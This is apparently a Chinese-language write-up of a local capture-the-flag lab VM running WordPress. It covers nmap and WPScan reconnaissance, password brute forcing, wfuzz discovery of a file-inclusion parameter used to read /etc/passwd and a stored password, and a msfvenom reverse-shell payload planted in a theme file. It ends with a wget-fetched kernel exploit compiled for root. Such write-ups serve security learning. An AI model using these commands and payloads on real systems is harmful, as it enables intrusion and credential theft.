macOS:192.168.3.44

目标主机:192.168.3.46

信息搜集

确认好本机网段后对c段进行扫描

1
sudo nmap -sn 192.168.3.0/24

image-20231013134635502

对比靶机启动前后ip增加前后的变化,确认靶机为192.168.3.46

nmap使用

TCP端口扫描
1
sudo nmap -sT --min-rate 10000 -p- 192.168.3.46 

image-20231013134700866

扫描结果可以看出22端口和80端口为开放,因为是本地环境,扫描一次就可以了,但是实际测试中最好扫两次,对比前后结果是否一致

UDP端口扫描
1
sudo nmap -sU --min-rate 10000 -p- 192.168.3.46 

image-20231013135048237

简单漏洞检测

利用nmap内置插件对可能存在的漏洞进行扫描

1
sudo nmap -sT --script=vuln -p22,80 192.168.3.46

image-20231013135622999

扫描结果显示,80端口有wordpress框架,存在一个dos漏洞,但是不适用我们渗透测试

主机信息扫描
1
sudo nmap -sT -sC -sV -O -p22,80 192.168.3.46  #端口服务、版本、操作系统信息

image-20231013135119500

22端口为openssh服务 7.2版本、80端口 apache服务器搭建的http服务、OS很大概率为linux3.2-4.9

web渗透

80端口

1
curl 192.168.3.46:80

image-20231013135356679

显示为一张图片,没有很大的可用信息,看看目录

1
dirsearch -u http://192.168.3.46

image-20231013140023637

挨个查看结果目录

image-20231013135952611

利用wpscan扫描后得到的信息

1
wpscan --url http://192.168.3.46/wordpress

image-20231013143301425

1
2
3
4
5
版本:WordPress version 5.2.2
路径:/wp-content/uploads/、/readme.html、/xmlrpc.php、/wp-
cron.php、/themes/twentynineteen/
主题:twentynineteen v1.4 The version is out of date, the latest version is 2.5
其它:SERVER: Apache/2.4.39 (Unix) OpenSSL/1.0.2k-fips PHP/7.3.7
枚举可以利用的插件
1
wpscan --url http://192.168.3.46/wordpress --enumerate vp

image-20231013144403663

枚举用户名
1
wpscan --url http://192.168.3.46/wordpress --enumerate u

image-20231013144239278

发现victor账户,尝试进行密码爆破

1
wpscan --url http://192.168.3.46/wordpress --passwords /Users/drblack/Documents/Tools/Dict/Passwords/500-worst-passwords.txt

爆破不出来emm,这里想了一下,貌似没有很好的路径走下去,5.22版本主要是

猜测可能目录爆破不够完善,忽略了一些东西。重新再用gobuster扫一下。

1
gobuster dir -u http://192.168.3.46 -x php,txt,zip --wordlist /Users/drblack/dict/directory-list-2.3-medium.txt

image-20231013195721825

查看secret.txt,提示让我们fuzz每个我们发现的php文件,访问location.txt获得下一步行动

image-20231013150312310

直接没有访问到

image-20231013150454614

把之前的图片保存下来,binwalk看看有没有图片隐写

image-20231013151340752

没有什么东西,emm再回过去看看。!!这里也卡了挺久,发现是之前的secret.txt文件没有认真读,他还有个意思是我们fuzz往php文件里面传的参数,那么用wfuzz进行模糊测试,测试可能的参数点,从index.php开始测

1
wfuzz -w wordlist.txt -u http://192.168.3.46/index.php\?FUZZ --hw 12 #--hw 过滤word长度12的结果,因为失败的长度都是12

image-20231013153100337

显示file参数可用。

再试试image.php文件,没有结果

image-20231013153552814

那么添加file参数对index.php文件进行测试,发现提示我选择的文件是错误的,读取/etc/passwd尝试,仍然为该提示。

image-20231013153240881

此处结合之前secret.txt中提示的location.txt为下一步,用file读取location.txt试试

image-20231013153455695

出现了新的提示,选择secrettier360参数尝试其他php文件,那么应该是指的image.php文件了

修改参数,提示参数正确

image-20231013153745006

那么试试读/etc/passwd

image-20231013154038300

比较杂乱,试试curl

image-20231013154108456

其中的saket文件中提示有个password文件在/home/saket目录下

image-20231013154339401

可能是密码,ssh登录看看

image-20231013154613531

两个账户都不对

image-20231013154652183

可能是wordpress?试试

image-20231013154752511

还真是wordpress的账户密码,这种后台一般会存在可以修改代码或者是上传文件的情况,查找一番后在主题编辑器中可以修改php文件

利用msf生成反弹shell木马,复制到php文件中去

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.44 lport=4444 -f raw

image-20231013155645284

image-20231013155559968

但是好像不能保存,🤔️呃。。没有写权限

image-20231013160003786

这种情况只能去主机修改文件的访问权限,我们没有shell只能看看其他文件有没有权限,这里找了一会,选择为”Twenty Nineteen”里面的secret.php文件

image-20231013160443388

这里可以修改保存

image-20231013162535463

msf设置监听

1
2
3
4
use exploit/multi/handler
set lhost 192.168.3.44
set lport 4444
run

谷歌搜索一下,看看主题对应文件路径如何访问

image-20231013170314066访问路径

http://192.168.3.46/wordpress/wp-content/themes/twentynineteen/secret.php

image-20231013162659143

这里session一直会关闭,问题出在我们没有设置对应之前msfvenom的payload,导致不能准确连接,再输入一个命令

1
set payload php/meterpreter/reverse_tcp

再次执行,成功弹shell

image-20231013162824877

1
python -c 'import pty;pty.spawn("/bin/bash")' #获得交互式shell

image-20231013164121174

拿到第一个flag

image-20231013164305861

提权

在尝试了计划任务和其他的提权后,效果不是很好。这里参考了红笔师傅的思路,

1
uname -a #查看操作系统信息

image-20231013170551424

是linux ubuntu 4.10.0-28较低版本,可能存在内核漏洞

利用searchsploit搜索漏洞

image-20231013170707308

第二个和第三个是可以提权的,第二个为.c文件,似乎可能性大一些?

1
searchsploit -m 45010.c

本地开启服务器,用于传输文件

1
sudo php -S 0:80

image-20231013171008311

从macos中下载exp文件到目标机器

1
wget 192.168.3.44:80/40510.c 

image-20231013171049094

gcc编译运行

1
gcc 45010.c -o 45010

image-20231013171207566

最后利用python重新生产一个交互性更强的shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

image-20231013171401196